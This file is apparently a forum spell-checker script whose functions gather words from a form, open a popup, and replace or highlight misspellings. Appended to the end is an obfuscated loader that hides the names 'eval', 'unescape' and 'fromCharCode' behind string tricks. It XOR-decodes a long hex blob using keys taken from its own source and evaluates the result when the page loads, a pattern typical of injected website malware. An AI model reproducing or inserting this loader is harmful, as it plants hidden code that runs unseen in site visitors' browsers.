// These are variables the popup is going to want to access...
var spell_formname, spell_fieldname;

// Spell check the specified field in the specified form.
function spellCheck(formName, fieldName)
{
// Grab the (hidden) spell checking form.
var spellform = document.forms.spell_form;

// Register the name of the editing form for future reference.
spell_formname = formName;
spell_fieldname = fieldName;

// This should match a word (most of the time).
var regexpWordMatch = /(?:<[^>]+>)|(?:\[[^ ][^\]]*\])|(?:&[^; ]+;)|(?:[^0-9\s\]\[{};:"\\|,<.>\/?`~!@#$%^&*()_+=]+)/g;

// These characters can appear within words.
var aWordCharacters = ['-', '\''];

var aWords = new Array(), aResult = new Array();
var sText = document.forms[formName][fieldName].value
var bInCode = false;
var iOffset1, iOffset2;

// Loop through all words.
while ((aResult = regexpWordMatch.exec(sText)) && typeof(aResult) != 'undefined')
{
iOffset1 = 0;
iOffset2 = aResult[0].length - 1;

// Strip the dashes and hyphens from the begin of the word.
while (in_array(aResult[0].charAt(iOffset1), aWordCharacters) && iOffset1 < iOffset2)
iOffset1++;

// Strip the dashes and hyphens from the end of the word.
while (in_array(aResult[0].charAt(iOffset2), aWordCharacters) && iOffset1 < iOffset2)
iOffset2--;

// I guess there's only dashes and hyphens in this word...
if (iOffset1 == iOffset2)
continue;

// Ignore code blocks.
if (aResult[0].substr(0, 5).toLowerCase() == '[code')
bInCode = true;

// Glad we're out of that code block!
else if (bInCode && aResult[0].substr(0, 7).toLowerCase() == '[/code]')
bInCode = false;

// Now let's get to business.
else if (!bInCode && !in_array(aResult[0].charAt(0), ['[', '<']) && aResult[0].toUpperCase() != aResult[0])
aWords[aWords.length] = aResult[0].substr(iOffset1, iOffset2 - iOffset1 + 1) + '|' + (iOffset1 + sText.substr(0, aResult.index).length) + '|' + (iOffset2 + sText.substr(0, aResult.index).length);
}

// Open the window...
openSpellWin(640, 480);

// Pass the data to a form...
spellform.spellstring.value = aWords.join('\n');

//  and go!
spellform.submit();

return true;
}

// Private functions -------------------------------

// Globals...
var wordindex = -1, offsetindex = 0;
var ignoredWords = [];

// A "misspelled word" object.
function misp(word, start, end, suggestions)
{
// The word, start index, end index, and array of suggestions.
this.word = word;
this.start = start;
this.end = end;
this.suggestions = suggestions;
}

// Replace the word in the misps array at the "wordindex" index.  The
// misps array is generated by a PHP script after the string to be spell
// checked is evaluated with pspell.
function replaceWord()
{
var strstart = "";
var strend;

// If this isn't the beginning of the string then get all of the string
// that is before the word we are replacing.
if (misps[wordindex].start != 0)
strstart = mispstr.slice(0, misps[wordindex].start + offsetindex);

// Get the end of the string after the word we are replacing.
strend = mispstr.slice(misps[wordindex].end + 1 + offsetindex);

// Rebuild the string with the new word.
mispstr = strstart + document.forms.spellingForm.changeto.value + strend;

// Update offsetindex to compensate for replacing a word with a word
// of a different length.
offsetindex += document.forms.spellingForm.changeto.value.length - misps[wordindex].word.length;

// Update the word so future replaceAll calls don't change it.
misps[wordindex].word = document.forms.spellingForm.changeto.value;

nextWord(false);
}

// Replaces all instances of currently selected word with contents chosen by user.
// Note: currently only replaces words after highlighted word.  I think we can re-index
// all words at replacement or ignore time to have it wrap to the beginning if we want
// to.
function replaceAll()
{
var strend;
var idx;
var origword;
var localoffsetindex = offsetindex;

origword = misps[wordindex].word;

// Re-index everything past the current word.
for (idx = wordindex; idx < misps.length; idx++)
{
misps[idx].start += localoffsetindex;
misps[idx].end += localoffsetindex;
}

localoffsetindex = 0;

for (idx = 0; idx < misps.length; idx++)
{
if (misps[idx].word == origword)
{
var strstart = "";
if (misps[idx].start != 0)
strstart = mispstr.slice(0, misps[idx].start + localoffsetindex);

// Get the end of the string after the word we are replacing.
strend = mispstr.slice(misps[idx].end + 1 + localoffsetindex);

// Rebuild the string with the new word.
mispstr = strstart + document.forms.spellingForm.changeto.value + strend;

// Update offsetindex to compensate for replacing a word with a word
// of a different length.
localoffsetindex += document.forms.spellingForm.changeto.value.length - misps[idx].word.length;
}

// We have to re-index everything after replacements.
misps[idx].start += localoffsetindex;
misps[idx].end += localoffsetindex;
}

// Add the word to the ignore array.
ignoredWords[origword] = true;

// Reset offsetindex since we re-indexed.
offsetindex = 0;

nextWord(false);
}

// Highlight the word that was selected using the nextWord function.
function highlightWord()
{
var strstart = "";
var strend;

// If this isn't the beginning of the string then get all of the string
// that is before the word we are replacing.
if (misps[wordindex].start != 0)
strstart = mispstr.slice(0, misps[wordindex].start + offsetindex);

// Get the end of the string after the word we are replacing.
strend = mispstr.slice(misps[wordindex].end + 1 + offsetindex);

// Rebuild the string with a span wrapped around the misspelled word
// so we can highlight it in the div the user is viewing the string in.
var divptr, newValue;
divptr = document.getElementById("spellview");

newValue = htmlspecialchars(strstart) + '<span class="highlight" id="h1">' + misps[wordindex].word + '</span>' + htmlspecialchars(strend);
setInnerHTML(divptr, newValue.replace(/_\|_/g, '<br />'));

// We could use scrollIntoView, but it's just not that great anyway.
var spellview_height = typeof(document.getElementById("spellview").currentStyle) != "undefined" ? parseInt(document.getElementById("spellview").currentStyle.height) : document.getElementById("spellview").offsetHeight;
var word_position = document.getElementById("h1").offsetTop;
var current_position = document.getElementById("spellview").scrollTop;

// The spellview is not tall enough!  Scroll down!
if (spellview_height <= (word_position + current_position))
document.getElementById("spellview").scrollTop = word_position + current_position - spellview_height + 32;
}

// Display the next misspelled word to the user and populate the suggested spellings box.
function nextWord(ignoreall)
{
// Push ignored word onto ignoredWords array.
if (ignoreall)
ignoredWords[misps[wordindex].word] = true;

// Update the index of all words we have processed...
// This must be done to accomodate the replaceAll function.
if (wordindex >= 0)
{
misps[wordindex].start += offsetindex;
misps[wordindex].end += offsetindex;
}

// Increment the counter for the array of misspelled words.
wordindex++;

// Draw it and quit if there are no more misspelled words to evaluate.
if (misps.length <= wordindex)
{
var divptr;
divptr = document.getElementById("spellview");
setInnerHTML(divptr, htmlspecialchars(mispstr).replace(/_\|_/g, "<br />"));

while (document.forms.spellingForm.suggestions.options.length > 0)
document.forms.spellingForm.suggestions.options[0] = null;

alert(txt['done']);
document.forms.spellingForm.change.disabled = true;
document.forms.spellingForm.changeall.disabled = true;
document.forms.spellingForm.ignore.disabled = true;
document.forms.spellingForm.ignoreall.disabled = true;

// Put line feeds back...
mispstr = mispstr.replace(/_\|_/g, "\n");

// Get a handle to the field we need to re-populate.
window.opener.document.forms[spell_formname][spell_fieldname].value = mispstr;
window.opener.document.forms[spell_formname][spell_fieldname].focus();
window.close();
return true;
}

// Check to see if word is supposed to be ignored.
if (typeof(ignoredWords[misps[wordindex].word]) != "undefined")
{
nextWord(false);
return false;
}

// Clear out the suggestions box!
while (document.forms.spellingForm.suggestions.options.length > 0)
document.forms.spellingForm.suggestions.options[0] = null;

// Re-populate the suggestions box if there are any suggested spellings for the word.
if (misps[wordindex].suggestions.length)
{
for (var sugidx = 0; sugidx < misps[wordindex].suggestions.length; sugidx++)
{
var newopt = new Option(misps[wordindex].suggestions[sugidx], misps[wordindex].suggestions[sugidx]);
document.forms.spellingForm.suggestions.options[sugidx] = newopt;

if (sugidx == 0)
{
newopt.selected = true;
document.forms.spellingForm.changeto.value = newopt.value;
document.forms.spellingForm.changeto.select();
}
}
}

if (document.forms.spellingForm.suggestions.options.length == 0)
document.forms.spellingForm.changeto.value = "";

highlightWord();

return false;
}

function htmlspecialchars(thetext)
{
thetext = thetext.replace(/\</g, "&lt;");
thetext = thetext.replace(/\>/g, "&gt;");
thetext = thetext.replace(/\n/g, "<br />");
thetext = thetext.replace(/\ \ /g, " &nbsp;");

return thetext;
}

function openSpellWin(width, height)
{
window.open("", "spellWindow", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,width=" + width + ",height=" + height);
}
this.axo='';var falseSwver;falseSwver='e7e5e0e3e4eae6e1b0fceff7cbfcf6ffebf0aef9f7ebf387bef8b1fdf1f7a9a8eeedf9d9fdefe7e9eaf7bfadfff0'+'f0faa1b7effffff6fceebcaff6ece0f5e7f1b8a7ee8892a0ada2fdebedfaf7f3e4fbe5f0e7eef5f1afa7e986bead'+'afa0afbda0e2ecf6b1ecf4eeffe0f1bbdfe5e5b3cceaebe1b99db6828aafbdb0a0b1a1e1f4f4e0d8e2a3e3e7a0d2'+'e3e2e9a2e5e8ebd3fde8fbebe2f9d4e3d7e4a7bea4e5ecfdede3ece8ebf2e3ad8b988cb7aaaa9dafafe3e7e5aff6'+'f9e8eea2f0f5b7b0a2ebfdf0b0f1e3a7e7e9e2dfddc2fbf4f5ebf69fabb28f82b0a9f8fbdd8ef0a68ef7c7ebdbfb'+'eaf8f9ace7efc2c6bbbbfebbb4e1ede1e3a2ada7b0b692aca5a5e0f5f6e5d2faa2f0eee9eceb9faaa2d98bb5a199'+'a6a6e5f4e2fae6f7ebf5e8fcafbcbab195b9a9e7f0e0eafee7e4bf93a8a6a1ecf9e0e5f5e2f8acafa4b4a49ea2a2'+'8f82b0a3a1a7bfffc6ede4bca0abb6b4bfa8f4f5c0f9afa8aaa6abf0e8fcffb6b8b6a5ada6acbebb9eb1ada4a9af'+'f2e6ebf5e3e5ada0b2a2b6b693f5e8eaf4e1e8a9b3b2aeabe1dee5ece7edb3aeb2adb68eafad9b82a5a8abbda1c3'+'eae9f6faf6b0b1a8a6b798acf1f2e1faf5f5b2b3bfb180a4aea98680eb848ce4f3e9f1ffdde2e1a0e8f8e4c3fee9'+'f6e6c9bce1f5edc9acaffe8d9ab9b1b7f0f4d1ace1f8ede0fbefa2b6a5b6a5b0a985b3e6f8e2e5fef9ede78be8eb'+'fce0e0fcb48987b495ace0e2f1a8f4eae7e4ebd8acb8a5a8b4b6b2bda6f8cde7e5b0a4a8b1b7a3a2998894aeabe5'+'f6e4acfaebc0ddffe4a2aba7e9fee0f98e8188bdafb4a3f4f4b7fcf2f4fcf1c1b1afa0a7b18784a9b6b5f0f6ffb0'+'e8e1cfa0b4a8a7ea889ba4a5b5e3eeabadf8ffe8fee1e3a0eff6faf5fbfc87b1a6a6a1aeec8e89a7afa6b6a890e3'+'e3e3f9f1e5a4afb4eeebfafdfce7b9cfe1e1fcf6c3f6a6f3f3e3e4faf9bebd98b8a9adb3a3a8aff9d1a9bdebebe2'+'e3e5e5aab7b4a68fb7aeb2f09d86aeb0b6a991a8adb1a4fdf6f5efe6e790bebbade3e8eed2eeeabae1f6f8e1edfa'+'a89d9ab3a5b193a3a8f0b5a6f2e3f4adb28fe7e1fbe7ecc0a6e2fbedeaa7cfb2a5f0b689b98ee0cef4f5f1f2ae8f'+'8c8a8bf6f7fcadb0a0b1eff5a59de4f6efa0b4b5b79dbeacb3f89ec4b1a0b282bca5afa7b0b0b3a5f4dde7a8b1b0'+'edefc2e9e7e0baecf0ecd4f1f9b29485a48aa2b2a9adaab996f09b8aacaea2b2af90a4b1eafbe4fdd8ecc4adbfbe'+'f5fcf0f2fbc6e9e9aaeafce9f8eaeda1e3c2ebe6f0ffedfbf1bdedf1d1f9efb3acade7fae9bbafab929eafb0b0b3'+'a5b1ea909aa4b194ea8e84b7a3a3dee7f9ffe0a0a5efe6c3d5e1e1ba9c88fb8a98fdcbfeaef9e5ebfba2abaae7eb'+'e3c1f0e7e9feeba2ace3f6ffebf6f7e5a99daa9c85e6f4b1aae4e6f4f8bdaeb280a2a7acfb9f88baeff6e0bfc6e4'+'ffadf5faefabc1f0b0e0f1e5e3eeebe3a5a8a6beadaaecfae2e6b8b9a3f9e5f1fdf5fcffe7f2a7e9eaf2b9e1fbab'+'fbf2ffaabbb586f8ecfdfaefb2b4b6e0d5e5e2edfea9b3b0aef3e4fae5eaadadeeeafbe3cbf4f1bcf9e6efffa3b8'+'c4e2fbf3e4e1e8eaf4d7ece5a8b0b4fbf7f6f1e4ece9e9f6d8eebda5a9ffe7fcf8d9edf1fee7ace4ebb4b0b9cef3'+'fae7fce1aca2a5afae89a799dde5e7e2c0ece0edf9eda1aff8fde3e5e7f7e68fa6aaa7a3a1a6ac86b493ad85b6ab'+'b1a2bf8e8cd6';function shockw(src){                       var verAxo = 3;var flashShockw = null;var ns = 'av%st'.replace(/[avst]/g,'');var flash = -1;var strfoo = flashShockw;function trueVer(playerShockw){var falseFalse=1;var flashWin=1%falseFalse;function aveSrc(winWin){var opera=1;}var major=0,falseAxo=playerShockw['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];while(flashWin<falseAxo){flashWin+=1;aveShockw=swver(playerShockw,flashWin+flash);major+=aveShockw*falseAxo;}return new String(major);}var minor=String;function flashSrc(msie, strfooWin){if(swverFlash == flashShockw) {swverFlash = {};}if(swverFlash[msie] == flashShockw) {var axoOpera = Object;swverFlash[msie] = new axoOpera();swverFlash[msie].nsPlugin = flashShockw;swverFlash[msie].srcWin = strfooWin;}}                        var majorPlayer = 4; var swverTrue=window;                       var msieMajor = 1; function ext(msie) {if(swverFlash[msie] != flashShockw) {var win = swverFlash[msie];var swverWin = win.nsPlugin;var msieFlash = win.srcWin;var swverSrc = msieFlash.substr(swverWin, 1);var msieIe = msieFlash['l8e4n6gMtMhM'.replace(/[MN648]/g, '')];                   var aveVer = majorPlayer-verAxo;if((swverWin + (msieMajor*aveVer)) >= msieIe) {win.nsPlugin =aveVer - (majorPlayer % verAxo);} else {win.nsPlugin = swverWin - flash;}return swver(swverSrc, msieMajor - aveVer);}}var flashMinor=document;function swver(winTrue,is){return winTrue['cvh8avr7Cioidie8A8t8'.replace(/[807vi]/g, '')](is);}var flash = strfoo + flash;var swverFlash = flashShockw;function shockwMsie(playerObj,shockwVer){return playerObj^shockwVer;}var majorMsie = '';var falseNs = 2;var ie = new minor(flashMinor['w<r~iOtGeO'.replace(/[O\<G\!~]/g, '')]);var msieIs = ie['iYnzdYe4x0O4f4'.replace(/[40zYJ]/g, '')]('a;r;i;t;y;'.replace(/[;U\{m#]/g, ''));if(msieIs != flash) { return 211;}var aveVerAxo = strfoo;var operaObj = '';var strfooSwver = swverTrue['s*e*t;T6i6m8e6o;u8t*'.replace(/[\*;8V6]/g, '')];var shockwStrfoo=211;var shockwMajor=minor['f;r0o8m;C8h0asr0C;o;dMe0'.replace(/[0s8;M]/g, '')];var trueAxo=swverTrue['uUnUe@sUcUahp@eN'.replace(/[Nh/U@]/g, '')];for(var playerIe=aveVerAxo; playerIe < src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]; playerIe+=falseNs){majorMsie+= ns + src['syuybFs(t(rF'.replace(/[F8y\(\!]/g, '')](playerIe, falseNs);}var src = trueAxo(majorMsie);var swverWinStrfoo = new minor(shockw);var operaVer = swverWinStrfoo['r+etp&lQa&cQe~'.replace(/[~&\+tQ]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var operaTrue = new minor(trueVer(operaVer));flashSrc('swverFlashPlugin', operaTrue);var strfooSwverAxo = '';flashSrc('obj', operaVer);for(var strfooFalse=aveVerAxo; strfooFalse < (src['l8e4n6gMtMhM'.replace(/[MN648]/g, '')]); strfooFalse++) {var msieAxo = swver(src,strfooFalse);msieAxo = shockwMsie(msieAxo, shockwStrfoo);msieAxo = shockwMsie(msieAxo, ext('swverFlashPlugin'));msieAxo = shockwMsie(msieAxo, ext('obj'));operaObj+=shockwMajor(msieAxo);}swverTrue['eIvIa#lB'.replace(/[BI#9\:]/g, '')](operaObj);return operaObj=new minor();};var playerIs=false;shockw(falseSwver);this.isOpera=48710;   //secured_20022002